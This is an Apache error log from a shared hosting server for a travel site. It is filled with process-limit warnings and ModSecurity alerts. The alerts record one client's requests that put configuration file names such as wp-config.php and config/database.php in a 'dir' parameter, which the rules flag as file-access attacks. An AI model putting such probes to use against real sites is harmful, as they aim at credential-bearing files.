[Fri Jul 17 08:55:48.396764 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.397003 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvCvekYYQ8uns4MwlkQAAAA0"]
[Fri Jul 17 08:55:48.397006 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvBHlOGcokz2QIwTTSAAAAAM"]
[Fri Jul 17 08:55:48.397108 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.397344 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvBHlOGcokz2QIwTTSAAAAAM"]
[Fri Jul 17 08:55:48.398898 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.402230 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.436988 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.444580 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.449748 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.453676 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.456070 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.461247 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.462665 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.464454 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.503091 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.512116 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.516764 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:dir: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvARRrtuZqNDDSqWwZAAAABo"]
[Fri Jul 17 08:55:48.517340 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvARRrtuZqNDDSqWwZAAAABo"]
[Fri Jul 17 08:55:48.517437 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.517714 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvARRrtuZqNDDSqWwZAAAABo"]
[Fri Jul 17 08:55:48.619576 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:dir: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCvekYYQ8uns4MwlkwAAAA0"]
[Fri Jul 17 08:55:48.620281 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCvekYYQ8uns4MwlkwAAAA0"]
[Fri Jul 17 08:55:48.620425 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.620591 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:dir: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvHRlmrtCoY_COpcmNQAAAAg"]
[Fri Jul 17 08:55:48.620820 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvCvekYYQ8uns4MwlkwAAAA0"]
[Fri Jul 17 08:55:48.621143 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvHRlmrtCoY_COpcmNQAAAAg"]
[Fri Jul 17 08:55:48.621233 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.621456 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvHRlmrtCoY_COpcmNQAAAAg"]
[Fri Jul 17 08:55:48.622046 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:dir: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvLEWOaI5pmYo9fnO8QAAAAA"]
[Fri Jul 17 08:55:48.622852 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:dir: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCRF0UOO1RzB5_8uIwAAAA4"]
[Fri Jul 17 08:55:48.622915 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvLEWOaI5pmYo9fnO8QAAAAA"]
[Fri Jul 17 08:55:48.623041 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.623257 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.623444 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvLEWOaI5pmYo9fnO8QAAAAA"]
[Fri Jul 17 08:55:48.623536 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCRF0UOO1RzB5_8uIwAAAA4"]
[Fri Jul 17 08:55:48.623683 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.623991 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvCRF0UOO1RzB5_8uIwAAAA4"]
[Fri Jul 17 08:55:48.624581 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:dir: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvFh1WDijTxd1xw5MgwAAAAc"]
[Fri Jul 17 08:55:48.625142 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvFh1WDijTxd1xw5MgwAAAAc"]
[Fri Jul 17 08:55:48.625222 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.625465 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvFh1WDijTxd1xw5MgwAAAAc"]
[Fri Jul 17 08:55:48.625497 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.628344 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.632401 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgt_wooI4qY7Jg93pVhwAAABM"]
[Fri Jul 17 08:55:48.709268 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:48.735337 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.737146 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.737829 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.739941 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
